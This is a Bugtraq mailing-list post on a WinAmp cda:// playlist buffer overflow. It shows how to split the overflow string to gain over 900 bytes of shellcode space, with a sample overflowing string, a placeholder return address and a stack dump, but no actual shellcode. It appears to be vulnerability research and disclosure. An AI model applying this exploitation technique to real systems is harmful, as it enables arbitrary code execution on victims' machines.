<<< Date Index >>>     <<< Thread Index >>>

Re:WinAmp POC: How to get 900+ shellcodespace!?



Hello bugtraq!
I tried to add a valid(not overlong) cda:// string before the overflowing
one
 i.e
cda://test.cda
cda://AAAAAAAAAAAAAAAAAAAA][many A's]
The result is the following in the stack:
AAAAAAAAAAAAAAAAAAAAAAAAAAAA[214 A's]\00AAAAAAAAAAAAAAAAA[over 700A's]
There is a large part missing from the overflow string between the first
A's and the second, in other words: The first A's are the first 214 A's after
ret addr + 4 but first A after the \x00 isn't the 215th A but the 1000th
or more.
Try the following:
cda:\\test.cda
cda:\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[3000 or more A's]
This would mean that we could insert a jmp at the end of the first part of
the shellcode that jumps over the part that is missing in the stack to the
second part. Result: over 900 bytes shellcode space!!! At least this works
on on my system: WinXP SP2, Swiss edition). Because Black Dot responded that
this doesn't work on his machine (WINXP,SP1) i wonder if it works on other
machines than mine.

This is my first post, so Hello bugtraq!
Greez David Kummer

This is an example followed by the stackdump it produced on my box:
Example ABCD=ret addr XXXX=won't appear in the buffer)
cda://test.cda
cda://EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEABCDXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Stack dump:
0012B7CC  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B7D5  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B7DE  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B7E7  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B7F0  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B7F9  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B802  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B80B  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B814  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B81D  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B826  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B82F  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B838  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B841  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B84A  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B853  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B85C  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B865  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B86E  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B877  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B880  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B889  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B892  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B89B  41 41 41 41 41 41 00 41 41  AAAAAA.AA
0012B8A4  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B8AD  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B8B6  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B8BF  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B8C8  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B8D1  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B8DA  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B8E3  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B8EC  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B8F5  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B8FE  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B907  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B910  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B919  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B922  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B92B  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B934  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B93D  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B946  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B94F  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B958  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B961  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B96A  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B973  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B97C  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B985  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B98E  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B997  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B9A0  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B9A9  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B9B2  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B9BB  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B9C4  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B9CD  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B9D6  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B9DF  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B9E8  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B9F1  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012B9FA  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA03  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA0C  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA15  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA1E  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA27  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA30  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA39  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA42  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA4B  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA54  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA5D  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA66  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA6F  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA78  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA81  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA8A  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA93  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BA9C  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BAA5  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BAAE  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BAB7  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BAC0  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BAC9  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BAD2  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BADB  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BAE4  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BAED  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BAF6  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BAFF  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB08  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB11  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB1A  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB23  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB2C  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB35  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB3E  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB47  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB50  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB59  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB62  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB6B  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB74  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BB7D  41 41 41 41 41 41 41 34 2D  AAAAAAA4-
0012BB86  92 7C DC C9 12 00 00 00 00  ?|ÜÉ.....
0012BB8F  00 01 10 47 00 41 41 41 41  ...G.AAAA
0012BB98  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BBA1  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BBAA  41 41 41 41 41 41 41 41 41  AAAAAAAAA
0012BBB3  41 41 41 00 00 B1 8B D1 77  AAA..±?Ñw
0012BBBC  68 00 D7 77 00 00 00 00 05  h.×w.....